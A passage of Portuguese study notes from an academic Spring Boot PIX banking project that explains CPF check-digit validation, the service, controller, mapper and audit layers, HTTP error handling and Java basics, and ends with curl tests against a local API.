.createdAt(account.getCreatedAt())
.build();
}
}
Cliente manda JSON → Spring converte em CreateAccountRequest (DTO entrada) → Controller recebe → Service valida → Mapper converte DTO → Entity → Repository salva no banco → Mapper converte Entity → AccountResponse (DTO saida) → Controller retorna JSON.
Existem bibliotecas como MapStruct que geram o codigo de conversao automaticamente. Mas neste projeto academico, fazemos manual para entender exatamente o que acontece. Quando voce entender o conceito, pode usar MapStruct para economizar tempo em projetos reais.
Validacao Algoritmica de CPF/CNPJ
O que sao digitos verificadores?
Os 2 ultimos digitos de um CPF (e os 2 ultimos de um CNPJ) sao calculados a partir dos anteriores usando um algoritmo matematico chamado modulo 11. Isso permite verificar se o numero e valido sem consultar nenhum sistema externo.
Exemplo com CPF: 529.982.247-25
Digitos: 5 2 9 9 8 2 2 4 7 [2] [5]
↑9 primeiros↑ ↑calculados↑
// Primeiro digito verificador:
// Multiplica cada digito por um peso decrescente (10, 9, 8...)
5×10 + 2×9 + 9×8 + 9×7 + 8×6 + 2×5 + 2×4 + 4×3 + 7×2
= 50 + 18 + 72 + 63 + 48 + 10 + 8 + 12 + 14 = 295
// Aplica modulo 11:
295 % 11 = 9 → 11 - 9 = 2 → primeiro digito = 2 ✓
// Segundo digito: mesma logica com pesos (11, 10, 9...)
// incluindo o primeiro digito verificador
Codigo na pratica
public class DocumentValidator {
public static boolean isValidCpf(String cpf) {
if (cpf.length() != 11) return false;
// Rejeita CPFs com todos os digitos iguais
// 111.111.111-11 e matematicamente "valido" mas nao existe
if (cpf.chars().distinct().count() == 1) return false;
// Calcula primeiro digito verificador
int sum = 0;
for (int i = 0; i < 9; i++) {
sum += Character.getNumericValue(cpf.charAt(i)) * (10 - i);
}
int firstDigit = 11 - (sum % 11);
if (firstDigit >= 10) firstDigit = 0;
// Confere com o 10o digito
if (Character.getNumericValue(cpf.charAt(9)) != firstDigit)
return false;
// Calcula segundo digito verificador
sum = 0;
for (int i = 0; i < 10; i++) {
sum += Character.getNumericValue(cpf.charAt(i)) * (11 - i);
}
int secondDigit = 11 - (sum % 11);
if (secondDigit >= 10) secondDigit = 0;
return Character.getNumericValue(cpf.charAt(10)) == secondDigit;
}
}
E como o digito verificador de um codigo de barras. O caixa do supermercado nao precisa consultar um servidor para saber se o codigo de barras e valido — o ultimo digito e uma "prova matematica" de que os anteriores estao corretos. CPF funciona igual.
Esta validacao e local — verifica se o formato e matematicamente valido. Nao verifica se o CPF pertence a alguem de verdade (isso seria consulta a Receita Federal). Para nosso sistema, validar o formato ja e suficiente para rejeitar entradas invalidas.
AccountService — O Cerebro
O que e um Service?
E a camada que contem a logica de negocio. O Repository sabe COMO acessar o banco. O Controller sabe COMO receber HTTP. O Service sabe O QUE pode e O QUE nao pode acontecer no dominio.
Padrao de todo metodo
Todo metodo do Service segue a mesma estrutura:
1. VALIDAR — as regras de negocio
2. EXECUTAR — salvar/atualizar no banco
3. AUDITAR — registrar a operacao (compliance)
4. RETORNAR — converter para DTO de saida
Exemplo: criar conta
@Service
public class AccountService {
private final AccountRepository accountRepository;
private final AuditService auditService;
// Spring injeta as dependencias automaticamente
public AccountService(AccountRepository accountRepository,
AuditService auditService) {
this.accountRepository = accountRepository;
this.auditService = auditService;
}
public AccountResponse createAccount(CreateAccountRequest request) {
// REGRA 1: Documento valido? (algoritmo CPF/CNPJ)
String doc = request.getHolderDocument();
if (doc.length() == 11 && !DocumentValidator.isValidCpf(doc)) {
throw new BusinessRuleViolationException("CPF invalido");
}
if (doc.length() == 14 && !DocumentValidator.isValidCnpj(doc)) {
throw new BusinessRuleViolationException("CNPJ invalido");
}
// REGRA 2: Ja existe conta com esse documento neste banco?
if (accountRepository.existsByHolderDocumentAndBankCode(
doc, request.getBankCode())) {
throw new ResourceAlreadyExistsException(
"Ja existe conta para este documento neste banco");
}
// REGRA 3: Tudo OK — converte e salva
Account account = AccountMapper.toEntity(request);
Account saved = accountRepository.save(account);
// REGRA 4: Registra no audit log
auditService.logCreate("Account", saved.getId().toString(),
"system", saved);
// REGRA 5: Retorna DTO de saida
return AccountMapper.toResponse(saved);
}
}
Exemplo: bloquear conta
public AccountResponse blockAccount(UUID id) {
// 1. VALIDAR — conta existe?
Account account = accountRepository.findById(id)
.orElseThrow(() -> new ResourceNotFoundException(
"Conta nao encontrada com ID: " + id));
// 2. VALIDAR — ja esta bloqueada?
if (account.getStatus() == AccountStatus.BLOCKED) {
throw new BusinessRuleViolationException("Conta ja bloqueada");
}
// 3. EXECUTAR — muda status e salva
AccountStatus oldStatus = account.getStatus();
account.setStatus(AccountStatus.BLOCKED);
Account saved = accountRepository.save(account);
// 4. AUDITAR — registra mudanca de status
auditService.logStatusChange("Account", id.toString(),
"system", oldStatus.name(), "BLOCKED");
// 5. RETORNAR — DTO de saida
return AccountMapper.toResponse(saved);
}
O Service e o unico lugar onde regras de negocio existem.
O Controller NAO tem if de regra. O Repository NAO valida dados.
Se voce ve logica de negocio fora do Service, esta no lugar errado.
public AccountService(AccountRepository repo, AuditService audit)
— O Spring ve o construtor, percebe que precisa de um AccountRepository
e um AuditService, e injeta automaticamente. Voce nao
faz new AccountRepository() — o Spring gerencia isso. E como pedir
um ingrediente na cozinha e ele aparecer na sua bancada sem voce ir buscar.
AccountController — A Porta de Entrada
O que e um Controller?
E a camada que recebe requisicoes HTTP e retorna respostas HTTP. O Controller e burro de proposito — ele so passa a bola para o Service e devolve o resultado.
Codigo na pratica
@RestController // "Esta classe responde requisicoes HTTP"
@RequestMapping("/api/v1/accounts") // Prefixo de todas as rotas
public class AccountController {
private final AccountService accountService;
public AccountController(AccountService accountService) {
this.accountService = accountService;
}
// POST /api/v1/accounts — Criar conta
// @Valid: Spring valida o DTO ANTES de chamar o metodo
// Se @NotBlank falhar, nem chega no Service
@PostMapping
public ResponseEntity<AccountResponse> create(
@Valid @RequestBody CreateAccountRequest request) {
AccountResponse response = accountService.createAccount(request);
return ResponseEntity.status(HttpStatus.CREATED).body(response);
// 201 Created (padrao REST para criacao)
}
// GET /api/v1/accounts/{id} — Buscar por ID
// @PathVariable: extrai o {id} da URL
@GetMapping("/{id}")
public ResponseEntity<AccountResponse> getById(
@PathVariable UUID id) {
return ResponseEntity.ok(accountService.getById(id));
// 200 OK
}
// PATCH /api/v1/accounts/{id}/block — Bloquear conta
// PATCH (nao PUT): alteracao parcial, so muda o status
@PatchMapping("/{id}/block")
public ResponseEntity<AccountResponse> block(
@PathVariable UUID id) {
return ResponseEntity.ok(accountService.blockAccount(id));
}
// DELETE /api/v1/accounts/{id} — Desativar (soft delete)
@DeleteMapping("/{id}")
public ResponseEntity<Void> deactivate(@PathVariable UUID id) {
accountService.deactivateAccount(id);
return ResponseEntity.noContent().build();
// 204 No Content (padrao REST para DELETE)
}
}
Verbos HTTP e quando usar cada um
| Verbo | Quando usar | Exemplo | Retorno |
|--------|--------------------------|----------------------------------|---------|
| POST | Criar recurso novo | POST /api/v1/accounts | 201 |
| GET | Buscar/consultar | GET /api/v1/accounts/{id} | 200 |
| PUT | Atualizar TUDO | PUT /api/v1/accounts/{id} | 200 |
| PATCH | Atualizar PARCIALMENTE | PATCH /api/v1/accounts/{id}/block| 200 |
| DELETE | Remover (soft ou hard) | DELETE /api/v1/accounts/{id} | 204 |
@RestController = "Sou um controller REST"
@RequestMapping("/api/v1/accounts") = "Minhas rotas comecam com /api/v1/accounts"
@PostMapping = "Respondo a POST nesta rota"
@GetMapping("/{id}") = "Respondo a GET com um ID na URL"
@PathVariable = "Extraia o valor de {id} da URL e coloque nesta variavel"
@RequestBody = "Converta o JSON do corpo da requisicao neste objeto"
@Valid = "Valide as annotations do DTO (@NotBlank etc) antes de continuar"
Se voce ve um if no Controller que nao seja sobre HTTP
(como verificar headers), provavelmente esta no lugar errado — deveria
estar no Service. O Controller e um garcom: anota o pedido,
leva para a cozinha (Service), e traz o prato pronto. Ele nao cozinha.
AuditService e Compliance
Por que auditar?
Em sistemas financeiros, o regulador (BACEN) pode perguntar: "Quem bloqueou essa conta? Quando? Qual era o estado anterior?" Sem audit log, voce nao tem resposta. A auditoria e obrigacao legal, nao feature opcional.
Como funciona
@Service
public class AuditService {
private final AuditLogRepository auditLogRepository;
private final ObjectMapper objectMapper; // Objeto Java → JSON string
// Registra criacao de entidade
public void logCreate(String entityType, String entityId,
String performedBy, Object newValue) {
AuditLog log = AuditLog.builder()
.entityType(entityType) // "Account"
.entityId(entityId) // "uuid-da-conta"
.action(AuditAction.CREATE) // CREATE
.performedBy(performedBy) // "system" (depois: userId do JWT)
.oldValue(null) // Nao tinha valor antes (criacao)
.newValue(toJson(newValue)) // Snapshot JSON do que foi criado
.build();
auditLogRepository.save(log);
}
// Registra mudanca de status
public void logStatusChange(String entityType, String entityId,
String performedBy,
String oldStatus, String newStatus) {
AuditLog log = AuditLog.builder()
.entityType(entityType)
.entityId(entityId)
.action(AuditAction.STATUS_CHANGE)
.performedBy(performedBy)
.oldValue("{\"status\": \"" + oldStatus + "\"}")
.newValue("{\"status\": \"" + newStatus + "\"}")
.build();
auditLogRepository.save(log);
}
// Converte qualquer objeto para JSON string
private String toJson(Object obj) {
try {
return objectMapper.writeValueAsString(obj);
} catch (Exception e) {
return obj.toString();
}
}
}
Exemplo de registro no banco
// Quando alguem bloqueia uma conta, o audit_logs recebe:
| entity_type | entity_id | action | performed_by | old_value | new_value | created_at |
|-------------|------------|---------------|--------------|--------------------|---------------------|---------------------|
| Account | uuid-123 | STATUS_CHANGE | admin-456 | {"status":"ACTIVE"}| {"status":"BLOCKED"}| 2026-03-18 14:30:00 |
O AuditService e como uma camera de seguranca do sistema. Nao impede nada, nao bloqueia nada — so registra tudo que acontece. Se alguem perguntar "o que aconteceu com essa conta?", a camera (audit log) tem a gravacao completa: quem, quando, o que mudou, e qual era o estado anterior.
ObjectMapper — convertendo objetos para JSON
O ObjectMapper (da biblioteca Jackson, que ja vem com Spring Boot)
converte qualquer objeto Java em uma string JSON. Isso permite salvar o
estado completo de uma entidade no campo newValue do audit log.
// Objeto Java:
Account conta = Account.builder()
.holderName("Riel").status(AccountStatus.ACTIVE).build();
// ObjectMapper converte para:
// {"holderName":"Riel","status":"ACTIVE","balance":0.00,...}
// Esse JSON e salvo no campo TEXT do audit_logs
// Se precisar investigar, e so ler o JSON
POST /api/v1/accounts → Controller recebe → Service valida →
Repository salva Account → AuditService registra a criacao →
Mapper converte para DTO → Controller retorna 201.
Resultado: a conta existe no banco E o registro de quem criou, quando, e com
quais dados esta salvo no audit_logs. Compliance garantido.
Map vs Classe Tipada
O que e um Map?
Map e como um dicionario: voce guarda coisas por "nome" (chave → valor). Aceita qualquer coisa.
// Map = dicionario flexivel
Map<String, Object> mochila = new HashMap<>();
mochila.put("caderno", "azul");
mochila.put("canetas", 3);
mochila.put("calculadora", true);
// Para pegar de volta:
Object caderno = mochila.get("caderno"); // "azul"
O problema: aceita TUDO, inclusive erros
// Ninguem impede voce de escrever errado:
mochila.put("cadeno", "azul"); // Typo! Compila normalmente
mochila.put("canetas", "tres"); // Deveria ser numero, mas aceita String
mochila.put("", null); // Chave vazia, valor null — aceita tudo
// O Java NAO reclama. Compila perfeitamente.
// O erro so aparece quando alguem tenta USAR:
int canetas = (int) mochila.get("canetas");
// CRASH! "tres" nao e int — erro em RUNTIME (producao)
Classe tipada: mochila com compartimentos fixos
// Classe = molde com compartimentos DEFINIDOS
public class Mochila {
private String caderno; // So aceita String
private int canetas; // So aceita numero inteiro
private boolean calculadora; // So aceita true/false
}
Mochila mochila = new Mochila();
mochila.setCaderno("azul"); // OK
mochila.setCanetas(3); // OK
mochila.setCadeno("azul"); // NAO COMPILA — "setCadeno" nao existe
mochila.setCanetas("tres"); // NAO COMPILA — "tres" nao e int
No nosso projeto: ErrorResponse
// HOJE — Map (sem protecao):
Map<String, Object> body = new HashMap<>();
body.put("statsu", status.value()); // Typo! Java aceita. Quebra em producao.
// DEPOIS — ErrorResponse (com protecao):
ErrorResponse body = new ErrorResponse();
body.setStatus(404); // Campo "status" existe, aceita int
body.setStatsu(404); // NAO COMPILA — "setStatsu" nao existe
Map e como uma sacola plastica — cabe qualquer coisa em qualquer posicao, mas voce nao sabe o que tem dentro ate abrir. Classe tipada e como uma maleta com compartimentos rotulados — cada coisa tem seu lugar, e voce nao consegue colocar a chave de fenda no compartimento da caneta.
Como Handlers de Excecao Funcionam
O que e um Handler?
E um metodo que diz: "quando ESTA excecao acontecer, faca ISTO." O Spring tem uma lista de regras e percorre de cima para baixo quando algo da errado.
HOJE — so 2 regras
REGRA 1: Se for MethodArgumentNotValidException → retorne 400
REGRA 2: Se for Exception (qualquer uma) → retorne 500
// Service lanca ResourceNotFoundException...
// Spring verifica:
// REGRA 1: ResourceNotFoundException E MethodArgument...? NAO
// REGRA 2: ResourceNotFoundException E Exception? SIM (toda excecao e Exception)
// → Usa REGRA 2 → retorna 500 Internal Server Error
// Mas 500 = "bug no servidor"
// ResourceNotFoundException = "cliente pediu algo que nao existe"
// Deveria ser 404!
DEPOIS — regras especificas
REGRA 1: Se for MethodArgumentNotValidException → 400 (formato invalido)
REGRA 2: Se for ResourceNotFoundException → 404 (nao encontrado)
REGRA 3: Se for ResourceAlreadyExistsException → 409 (ja existe)
REGRA 4: Se for BusinessRuleViolationException → 422 (regra violada)
REGRA 5: Se for AccountBlockedException → 403 (proibido)
REGRA 6: Se for Exception (qualquer outra) → 500 (bug real)
// Service lanca ResourceNotFoundException...
// Spring verifica:
// REGRA 1: E MethodArgument...? NAO
// REGRA 2: E ResourceNotFoundException? SIM!
// → Usa REGRA 2 → retorna 404 Not Found ✓ CORRETO!
Impacto para o usuario final
SEM handlers especificos (tudo vira 500):
Conta nao existe → "Erro interno do servidor"
Chave ja cadastrada → "Erro interno do servidor"
Saldo insuficiente → "Erro interno do servidor"
Bug real no codigo → "Erro interno do servidor"
// Usuario nao sabe o que esta errado
COM handlers especificos:
Conta nao existe → 404 → "Conta nao encontrada"
Chave ja cadastrada → 409 → "Esta chave ja esta em uso"
Saldo insuficiente → 422 → "Saldo insuficiente"
Bug real no codigo → 500 → "Erro interno do servidor"
// Cada erro tem sua mensagem correta
O frontend usa o codigo HTTP para decidir o que mostrar. Se tudo e 500, o app so mostra "Erro". Com codigos corretos, o app pode mostrar mensagens uteis e ate sugerir acoes: "Chave ja cadastrada. Deseja usar outra?"
Public/Private vs Exposicao na API
public/private = acesso dentro do Java
public class Account {
private String holderName; // So codigo DENTRO desta classe acessa
private String holderDocument; // So codigo DENTRO desta classe acessa
public String getHolderName() { return this.holderName; }
// QUALQUER codigo Java pode chamar este metodo
}
// Em outro arquivo:
Account conta = ...;
conta.holderName; // NAO COMPILA — e private
conta.getHolderName(); // OK — getter e public
Exposicao na API = Jackson serializa getters
Quando o Spring retorna um objeto na resposta HTTP, a biblioteca Jackson converte o objeto em JSON. Jackson serializa todos os campos que tem getter:
// Se o Controller retorna a Entity direto:
@GetMapping("/{id}")
public Account getById(@PathVariable UUID id) {
return accountRepository.findById(id).get();
}
// Jackson ve a classe Account e pergunta:
// "Tem getHolderName()? Sim → inclui holderName no JSON"
// "Tem getHolderDocument()? Sim → inclui holderDocument no JSON"
// "Tem getBalance()? Sim → inclui balance no JSON"
// Resultado: TUDO vai para o JSON
{
"holderDocument": "12345678901", // CPF EXPOSTO! LGPD violada
"balance": 15000.00 // Saldo EXPOSTO!
}
Com DTO — voce controla o que o Jackson ve
// AccountResponse SO TEM os campos que queremos expor:
public class AccountResponse {
private UUID id;
private String holderName;
private String holderDocument; // Mapper pode MASCARAR
private AccountStatus status;
// SEM balance, SEM updatedAt
}
// Resultado: JSON controlado
{
"holderName": "Riel",
"holderDocument": "***456.789-**", // MASCARADO!
"status": "ACTIVE"
// Sem balance — campo nao existe no DTO
}
private/public controla acesso dentro do Java
(entre classes). A exposicao na API acontece pelo Jackson serializar getters.
O DTO controla quais getters existem, portanto controla o que aparece no JSON.
Sao dois mecanismos completamente diferentes.
O que e um Mapper
Mapper = tradutor
E um codigo que pega um objeto de um tipo e cria um objeto de outro tipo, copiando os campos relevantes. Como alguem que le um formulario de inscricao e preenche uma ficha cadastral.
Entrada → Entity (para salvar)
// Formulario que o cliente mandou (DTO de entrada):
CreateAccountRequest formulario = ...;
// Tem: holderName, holderDocument, bankCode, branch, accountNumber, accountType
// NAO tem: id, balance, status, createdAt (sistema define)
// Mapper "traduz" para Entity:
public static Account toEntity(CreateAccountRequest formulario) {
return Account.builder()
.holderName(formulario.getHolderName()) // Copia "Riel"
.holderDocument(formulario.getHolderDocument()) // Copia CPF
.bankCode(formulario.getBankCode()) // Copia banco
// balance e status: @Builder.Default (ZERO e ACTIVE)
// id e createdAt: gerados automaticamente pelo JPA
.build();
}
Entity → Saida (para responder)
// Ficha cadastral do banco (Entity):
Account conta = accountRepository.findById(id);
// Tem TUDO: id, holderName, holderDocument, balance, updatedAt...
// Mapper "traduz" para resposta (so o que pode ser exposto):
public static AccountResponse toResponse(Account conta) {
return AccountResponse.builder()
.id(conta.getId())
.holderName(conta.getHolderName())
.holderDocument(mascarar(conta.getHolderDocument())) // MASCARA CPF
.status(conta.getStatus())
.createdAt(conta.getCreatedAt())
// NAO copia: updatedAt (dado interno)
.build();
}
Por que os formatos sao diferentes?
Entrada (CreateAccountRequest) → 6 campos — o que o cliente MANDA
Entity (Account) → 10 campos — o que o banco ARMAZENA
Saida (AccountResponse) → 8 campos — o que o cliente RECEBE
// O Mapper sabe como traduzir de um para outro
// E como um interprete entre tres idiomas
Voce preenche um formulario de abertura de conta no banco (6 campos). O banco armazena sua ficha completa com dados internos (10 campos). Quando voce consulta sua conta no app, ve so informacoes relevantes (8 campos). O Mapper e o funcionario que traduz entre esses tres documentos.
@Service e Gerenciamento do Spring
Sem Spring — voce monta tudo na mao
public class Main {
public static void main(String[] args) {
// 1. Cria conexao com banco
DataSource dataSource = new HikariDataSource(config);
// 2. Cria o EntityManager (JPA)
EntityManagerFactory emf = Persistence.create...("pixhub");
// 3. Cria o Repository (precisa do EntityManager)
AccountRepository repo = new AccountRepositoryImpl(emf);
// 4. Cria o AuditService (precisa do seu Repository)
AuditService auditService = new AuditService(auditLogRepo);
// 5. Cria o AccountService (precisa de Repository + AuditService)
AccountService service = new AccountService(repo, auditService);
// 6. Cria o Controller (precisa do Service)
AccountController controller = new AccountController(service);
// 7. Configura servidor HTTP...
// 8. Registra rotas...
// 50+ linhas de configuracao antes de qualquer logica!
}
}
Com Spring — ele faz tudo automaticamente
@Repository // "Eu existo. Me gerencia."
public interface AccountRepository { ... }
@Service // "Eu existo. Me gerencia."
public class AccountService { ... }
@RestController // "Eu existo. Me gerencia."
public class AccountController { ... }
// O Spring ve as annotations e MONTA TUDO sozinho:
// "AccountController precisa de AccountService... vou criar um"
// "AccountService precisa de AccountRepository... vou criar"
// "Pronto, tudo conectado. Servidor rodando."
Injecao de dependencia
@Service
public class AccountService {
private final AccountRepository accountRepository;
// Spring ve este construtor e injeta automaticamente
public AccountService(AccountRepository accountRepository) {
this.accountRepository = accountRepository;
}
}
// Voce NAO faz: new AccountRepository()
// O Spring ja criou um e entrega para voce
@Service e um rotulo que diz ao Spring:
"esta classe existe, crie uma instancia e guarde para quando alguem precisar."
E como um restaurante: voce pede "preciso de um garfo" (declara no construtor)
e o garcom (Spring) traz automaticamente. Voce nao vai na cozinha buscar.
Tipo vs Nome de Variavel
Anatomia da declaracao
private final AccountRepository accountRepository;
// | | |
// | | └── NOME (como voce vai chamar)
// | └── TIPO (o que ela E — qual classe/interface)
// └── Modificadores:
// private = so esta classe acessa
// final = nao pode mudar depois de atribuido
Comparacao com outras linguagens
// JavaScript (sem tipos):
let accountRepository = ...; // Pode ser qualquer coisa
// TypeScript (com tipos):
let accountRepository: AccountRepository = ...;
// Java (com tipos, na frente):
AccountRepository accountRepository = ...;
// O tipo vem ANTES do nome — convencao Java
Convencao de nomes
AccountRepository accountRepository;
// ↑ Maiuscula ↑ minuscula
// = TIPO (classe) = nome da variavel
// Em Java, SEMPRE:
// Tipos/Classes: PascalCase (AccountRepository, PixKeyService)
// Variaveis: camelCase (accountRepository, pixKeyService)
// Depois usa pelo nome:
accountRepository.findById(id); // Chama metodo pelo nome
accountRepository.save(account); // Chama metodo pelo nome
AccountRepository (tipo) e como dizer "e um martelo".
accountRepository (nome) e como dizer "vou chamar de 'meu martelo'".
Quando voce usa accountRepository.save(), esta dizendo
"meu martelo, faca isso" — chama pela variavel, que e do tipo martelo,
entao tem os metodos de martelo.
Annotations (@) no Java
Annotations sao etiquetas
Annotations NAO tem fechamento. Sao "etiquetas" coladas acima do que voce quer marcar. Se aplicam ao elemento imediatamente abaixo.
@Service // Aplica-se a CLASSE
public class AccountService {
@Autowired // Aplica-se ao CAMPO
private AccountRepository accountRepository;
@GetMapping("/{id}") // Aplica-se ao METODO
public ResponseEntity getById(
@PathVariable UUID id, // Aplica-se ao PARAMETRO
@RequestParam String filter // Aplica-se ao PARAMETRO
) {
...
}
}
Comparacao com HTML
<!-- HTML: tem abertura e fechamento -->
<div class="container">
conteudo aqui
</div>
// Java: annotation NAO tem fechamento
@Service // ← so cola em cima
public class AccountService { // ← abre com {
...
} // ← fecha com }
Annotations com parametros
// Sem parametros:
@Service
@Override
// Com 1 parametro:
@GetMapping("/{id}")
@Column(name = "holder_name")
// Com varios parametros:
@Column(name = "balance", nullable = false, precision = 15, scale = 2)
// Comparacao com atributos HTML:
// <img src="foto.jpg"> ← 1 atributo
// <img src="foto.jpg" alt="foto" width="200"> ← varios atributos
O que o Spring faz com as annotations
O Spring le essas etiquetas quando a aplicacao inicia. Ele "escaneia" todas as classes e toma decisoes:
@Service → "Vou criar uma instancia e gerenciar"
@RestController → "Vou expor como endpoint HTTP"
@GetMapping("/{id}") → "Quando chegar GET nessa rota, chamo este metodo"
@Column(name = "x") → "Este campo mapeia para a coluna 'x' no banco"
@NotBlank → "Se este campo vier vazio, rejeito com erro 400"
@Valid → "Valide TODAS as annotations do DTO antes de continuar"
Annotation = etiqueta colada em cima. Sem fechamento. Se aplica ao que esta logo abaixo (classe, metodo, campo ou parametro). O Spring le as etiquetas e toma decisoes automaticamente. Voce nao precisa chamar nada — o Spring faz o trabalho quando a aplicacao inicia.
List, Map e Set
List — sequencia ordenada por posicao
Como uma fila de pessoas: cada uma tem uma posicao (0, 1, 2...).
List<String> fila = new ArrayList<>();
fila.add("Riel"); // posicao 0
fila.add("Maria"); // posicao 1
fila.add("Joao"); // posicao 2
fila.get(0); // "Riel" — acessa pela POSICAO
// Aceita duplicatas: fila.add("Riel") novamente? OK
Map — pares de chave → valor
Como uma agenda telefonica: cada nome tem um telefone.
Map<String, String> agenda = new HashMap<>();
agenda.put("Riel", "81999990000");
agenda.put("Maria", "81988880000");
agenda.get("Riel"); // "81999990000" — acessa pelo NOME (chave)
// Chave duplicada? Sobrescreve o valor anterior
Set — colecao sem duplicatas
Como uma lista de presenca: cada nome aparece uma vez so.
Set<String> presentes = new HashSet<>();
presentes.add("Riel");
presentes.add("Maria");
presentes.add("Riel"); // Ignorado — ja existe
// presentes = {"Riel", "Maria"} — sem duplicata
Resumo
List → acessa por POSICAO: lista.get(0)
Map → acessa por NOME: mapa.get("status")
Set → verifica se contem: set.contains("Riel")
Usamos List quando um repository retorna varias entidades:
List<PixKey> findByAccountId(UUID id).
O Map era usado no GlobalExceptionHandler para montar a resposta
de erro (sera substituido por ErrorResponse).
Set aparecera em validacoes (ex: verificar se um valor esta
numa lista de permitidos).
Handlers e UX de Erros
Dois tipos de erro na perspectiva do usuario
Na UX profissional, erros se dividem em dois grupos: os que o usuario resolve sozinho e os que precisam de suporte. Os codigos HTTP sao a ponte entre backend e frontend para essa decisao.
4xx — Erro do usuario (ele resolve)
// 400 — "Voce preencheu errado"
// UX: campo fica vermelho, mensagem ao lado
{ "status": 400, "message": "CPF deve ter 11 digitos", "field": "holderDocument" }
// Frontend: destaca campo CPF em vermelho com a mensagem
// 404 — "Isso nao existe"
// UX: tela de "nao encontrado" com sugestao
{ "status": 404, "message": "Chave PIX nao encontrada" }
// Frontend: "Chave nao encontrada. Verifique se digitou corretamente."
// 409 — "Ja existe"
// UX: mensagem clara com opcao alternativa
{ "status": 409, "message": "Este CPF ja possui chave PIX cadastrada" }
// Frontend: "CPF ja cadastrado. Deseja usar outra chave como e-mail?"
// 422 — "Entendi, mas nao pode"
// UX: mensagem explicando o motivo
{ "status": 422, "message": "Saldo insuficiente. Disponivel: R$ 30,00" }
// Frontend: "Saldo insuficiente para esta transferencia."
5xx — Erro do sistema (precisa de suporte)
// 500 — "Algo quebrou no servidor"
// UX: mensagem generica + opcao de contato
{ "status": 500, "message": "Ocorreu um erro interno." }
// Frontend: "Ops! Algo deu errado. Se persistir, contate o suporte."
// NUNCA mostra detalhes tecnicos ao usuario (seguranca)
// 503 — "Sistema fora do ar"
{ "status": 503, "message": "Servico temporariamente indisponivel" }
// Frontend: "Estamos em manutencao. Tente em alguns minutos."
Como o frontend usa os codigos
// JavaScript simplificado:
if (status >= 400 && status < 500) {
// 4xx: ERRO DO USUARIO — mostra mensagem clara
// O usuario pode corrigir e tentar de novo
showUserError(data.message);
if (status === 400) highlightField(data.field); // Campo vermelho
if (status === 409) showAlternative(); // Sugestao
if (status === 422) showBusinessRule(data.message);
}
if (status >= 500) {
// 5xx: ERRO DO SISTEMA — mostra mensagem generica
// O usuario NAO pode resolver sozinho
showSystemError("Algo deu errado. Contate o suporte.");
showSupportButton(); // Botao "Falar com suporte"
}
4xx: mensagem ESPECIFICA + mostra O QUE corrigir + SEM botao de suporte.
5xx: mensagem GENERICA + NUNCA detalhes tecnicos + COM botao de suporte.
Sem handlers especificos no backend, o frontend recebe 500 para tudo e so pode
mostrar "Erro generico" — pessima experiencia para o usuario.
Getter, Setter e Jackson
O problema: campos private sao inacessiveis
public class Account {
private String holderName = "Riel"; // Trancado!
private BigDecimal balance = new BigDecimal("1000.00");
}
Account conta = new Account();
conta.holderName; // NAO COMPILA — private, porta trancada
Getter — porta controlada para LER
public class Account {
private String holderName = "Riel";
// GETTER = metodo publico que RETORNA o valor do campo
public String getHolderName() {
return this.holderName;
}
// get + HolderName = getHolderName
// "pegar" + "nome do campo" = nome do getter
}
Account conta = new Account();
conta.holderName; // NAO COMPILA — private
conta.getHolderName(); // "Riel" — getter e a porta aberta
Setter — porta controlada para ESCREVER
public class Account {
private String holderName;
// GETTER — pega o valor (le)
public String getHolderName() {
return this.holderName;
}
// SETTER — define o valor (escreve)
public void setHolderName(String holderName) {
this.holderName = holderName;
}
}
conta.setHolderName("Riel"); // ESCREVE
String nome = conta.getHolderName(); // LE — "Riel"
Lombok gera tudo automaticamente
// SEM Lombok — repetitivo:
public class Account {
private String holderName;
private String holderDocument;
private BigDecimal balance;
public String getHolderName() { return this.holderName; }
public void setHolderName(String v) { this.holderName = v; }
public String getHolderDocument() { return this.holderDocument; }
public void setHolderDocument(String v) { this.holderDocument = v; }
public BigDecimal getBalance() { return this.balance; }
public void setBalance(BigDecimal v) { this.balance = v; }
// 6 metodos repetitivos para 3 campos...
}
// COM Lombok — uma annotation:
@Getter // Gera todos os getters automaticamente
@Setter // Gera todos os setters automaticamente
public class Account {
private String holderName;
private String holderDocument;
private BigDecimal balance;
// Pronto! 6 metodos existem invisivelmente
}
Por que o Jackson usa getters?
Quando o Spring retorna um objeto como JSON, o Jackson (biblioteca JSON) procura todos os metodos que comecam com "get" e monta o JSON:
// Jackson faz internamente:
// "Account tem getHolderName()?" → Sim → "holderName": "Riel"
// "Account tem getHolderDocument()?" → Sim → "holderDocument": "12345678901"
// "Account tem getBalance()?" → Sim → "balance": 1000.00
// Resultado: JSON com TODOS os getters
{
"holderName": "Riel",
"holderDocument": "12345678901", // Exposto!
"balance": 1000.00 // Exposto!
}
Se o AccountResponse (DTO) nao tem getBalance(),
o Jackson nao inclui balance no JSON.
Sem getter = sem campo no JSON.
O DTO controla quais getters existem, portanto controla o que aparece
na resposta da API.
Getter e como uma janela de atendimento: o dado esta guardado la dentro (private), mas voce pode pedir para ver pela janela (getter). Setter e como um formulario de alteracao: voce preenche o formulario (parâmetro) e entrega pela janela para atualizar o dado interno. O Jackson e como um fotografo: ele fotografa tudo que esta visivel pelas janelas (getters) — se nao tem janela, nao aparece na foto (JSON).
Testes e Verificacao
Aprendido em 18/03/2026 — Fase 03O que fizemos na Fase 03?
Depois de implementar os 18 arquivos da Fase 03, precisamos verificar se tudo funciona. Fizemos isso em duas etapas:
mvn clean compile # Resultado: BUILD SUCCESS (43 source files compiled)
mvn clean compile apaga tudo que foi compilado antes (clean)
e compila do zero (compile). Se algum arquivo tiver erro de sintaxe,
import errado, ou tipo incompativel, o Maven para aqui e mostra o erro.
Compilar com sucesso significa: o codigo esta sintaticamente correto,
mas nao garante que funciona como esperado.
# Criar conta (deve retornar 201 Created)
curl -s -X POST http://localhost:8080/api/v1/accounts \
-H "Content-Type: application/json" \
-d '{"holderName":"Riel","holderDocument":"52998224725",
"bankCode":"001","branch":"0001",
"accountNumber":"12345678","accountType":"CHECKING"}'
# Buscar conta (deve retornar 200 OK)
curl -s http://localhost:8080/api/v1/accounts/{id}
# Conta duplicada (deve retornar 409 Conflict)
curl -s -X POST http://localhost:8080/api/v1/accounts \
-H "Content-Type: application/json" \
-d '{ mesmos dados }'
# Conta inexistente (deve retornar 404 Not Found)
curl -s http://localhost:8080/api/v1/accounts/uuid-que-nao-existe
# CPF invalido (deve retornar 422)
curl -s -X POST ... -d '{"holderDocument":"11111111111",...}'
# Campos obrigatorios faltando (deve retornar 400)
curl -s -X POST ... -d '{}'
Cada curl simula uma requisicao HTTP que um cliente (app, frontend)
faria. Verificamos se o status code esta correto (201, 200, 409,
404, 422, 400) e se o corpo da resposta faz sentido.
